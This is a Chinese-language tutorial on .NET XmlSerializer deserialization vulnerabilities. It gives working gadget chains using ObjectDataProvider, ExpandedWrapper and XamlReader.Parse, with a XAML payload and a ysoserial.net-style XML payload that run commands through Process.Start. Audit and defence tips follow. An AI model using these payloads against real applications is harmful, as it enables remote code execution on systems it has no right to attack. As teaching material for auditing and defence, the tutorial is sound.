.net反序列化之XmlSerializer
字数 1125 2025-08-05 08:17:36

.NET反序列化之XmlSerializer 教学文档

XmlSerializer 类概述

XmlSerializer 是 .NET 框架中用于在 XML 字符串和对象之间相互转换的类,位于 System.Xml.Serialization 命名空间,程序集为 System.Xml.XmlSerializer.dll

核心特性

  • 只能序列化和反序列化对象的公共(public)属性和公共字段
  • 通过特性(Attributes)控制序列化行为:
    • [XmlRoot] - 指定根元素名称
    • [XmlElement] - 指定元素名称
    • [XmlArray] - 指定数组元素名称
    • [XmlAttribute] - 指定属性名称

基本使用案例

using System;
using System.IO;
using System.Xml.Serialization;

[XmlRoot]
public class Person
{
    [XmlElement]
    public int Age { get; set; }
    
    [XmlElement]
    public string Name { get; set; }
    
    [XmlArray("Items")]
    public Order[] OrderedItems;
    
    [XmlAttribute]
    public string ClassName { get; set; }
}

public class Order
{
    public int OrderID;
}

class Program
{
    static void Main(string[] args)
    {
        // 创建对象并设置属性
        Person p = new Person();
        p.Name = "jack";
        p.Age = 12;
        p.OrderedItems = new Order[] { new Order { OrderID = 123 }, new Order { OrderID = 456 } };
        p.ClassName = "classname";

        // 序列化
        XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));
        MemoryStream memoryStream = new MemoryStream();
        TextWriter writer = new StreamWriter(memoryStream);
        xmlSerializer.Serialize(writer, p);

        memoryStream.Position = 0;
        Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));

        // 反序列化
        Person p1 = (Person)xmlSerializer.Deserialize(memoryStream);
        Console.WriteLine(p1.Name);
    }
}

输出结果

<?xml version="1.0" encoding="utf-8"?>
<Person xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
        xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
        ClassName="classname">
  <Items>
    <Order>
      <OrderID>123</OrderID>
    </Order>
    <Order>
      <OrderID>456</OrderID>
    </Order>
  </Items>
  <Age>12</Age>
  <Name>jack</Name>
</Person>

反序列化攻击链

ObjectDataProvider 攻击链

ObjectDataProvider 是 .NET 中一个可以调用任意类方法的类,类似于 Java 中的 InvokerTransformer

基本利用方式

ObjectDataProvider o = new ObjectDataProvider();
o.MethodParameters.Add("cmd.exe");
o.MethodParameters.Add("/c calc");
o.MethodName = "Start";
o.ObjectInstance = new Process();

问题与解决方案

直接序列化 ObjectDataProvider 会报错,因为类型未知。解决方案是使用 ExpandedWrapper 类包装:

ExpandedWrapper<Person, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Person, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.MethodName = "Evil";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc");
expandedWrapper.ProjectedProperty0.ObjectInstance = new Person();

ResourceDictionary 攻击链

更深入的攻击链利用 WPF 的 ResourceDictionaryXamlReader.Parse() 方法:

XAML 攻击载荷

<ResourceDictionary 
    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
    xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" 
    xmlns:b="clr-namespace:System;assembly=mscorlib" 
    xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
    <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <b:String>cmd</b:String>
            <b:String>/c calc</b:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>

代码执行方式

string xml = "..."; // 上面的XAML
XamlReader.Parse(xml);

完整攻击链

最终的攻击链组合:

ObjectDataProvider -> XamlReader.Parse() -> ObjectDataProvider -> System.Diagnostics.Process.Start("cmd.exe","/c calc")

ysoserial.net 生成的典型载荷

<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
                    <![CDATA[<ResourceDictionary...>]]>
                </anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
        </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>

代码审计要点

  1. 类型参数检查:检查 new XmlSerializer(type) 中的 type 参数是否可控

    • 通过 typeof()
    • 通过 GetType()
    • 通过 Type.GetType("命名空间.类名")
  2. XAML 输入检查:检查 XamlReader.Parse(xml) 中的 xml 参数是否可控

  3. 反序列化源检查:检查反序列化的 XML 数据来源是否可信

防御建议

  1. 限制反序列化的类型,使用已知安全的类型白名单
  2. 对输入的 XML 数据进行严格验证
  3. 避免直接反序列化不可信的 XML 数据
  4. 使用安全的 XML 解析器配置,禁用外部实体引用等危险特性

总结

XmlSerializer 反序列化漏洞的核心在于:

  1. 攻击者可以控制反序列化的类型
  2. 通过 ObjectDataProvider 调用任意方法
  3. 结合 XamlReader.Parse() 实现更灵活的攻击
  4. 最终通过 Process.Start() 执行任意命令

理解这些关键点对于防御和利用此类漏洞都至关重要。

.NET反序列化之XmlSerializer 教学文档 XmlSerializer 类概述 XmlSerializer 是 .NET 框架中用于在 XML 字符串和对象之间相互转换的类,位于 System.Xml.Serialization 命名空间,程序集为 System.Xml.XmlSerializer.dll 。 核心特性 只能序列化和反序列化对象的公共(public)属性和公共字段 通过特性(Attributes)控制序列化行为: [XmlRoot] - 指定根元素名称 [XmlElement] - 指定元素名称 [XmlArray] - 指定数组元素名称 [XmlAttribute] - 指定属性名称 基本使用案例 输出结果 反序列化攻击链 ObjectDataProvider 攻击链 ObjectDataProvider 是 .NET 中一个可以调用任意类方法的类,类似于 Java 中的 InvokerTransformer 。 基本利用方式 问题与解决方案 直接序列化 ObjectDataProvider 会报错,因为类型未知。解决方案是使用 ExpandedWrapper 类包装: ResourceDictionary 攻击链 更深入的攻击链利用 WPF 的 ResourceDictionary 和 XamlReader.Parse() 方法: XAML 攻击载荷 代码执行方式 完整攻击链 最终的攻击链组合: ysoserial.net 生成的典型载荷 代码审计要点 类型参数检查 :检查 new XmlSerializer(type) 中的 type 参数是否可控 通过 typeof() 通过 GetType() 通过 Type.GetType("命名空间.类名") XAML 输入检查 :检查 XamlReader.Parse(xml) 中的 xml 参数是否可控 反序列化源检查 :检查反序列化的 XML 数据来源是否可信 防御建议 限制反序列化的类型,使用已知安全的类型白名单 对输入的 XML 数据进行严格验证 避免直接反序列化不可信的 XML 数据 使用安全的 XML 解析器配置,禁用外部实体引用等危险特性 总结 XmlSerializer 反序列化漏洞的核心在于: 攻击者可以控制反序列化的类型 通过 ObjectDataProvider 调用任意方法 结合 XamlReader.Parse() 实现更灵活的攻击 最终通过 Process.Start() 执行任意命令 理解这些关键点对于防御和利用此类漏洞都至关重要。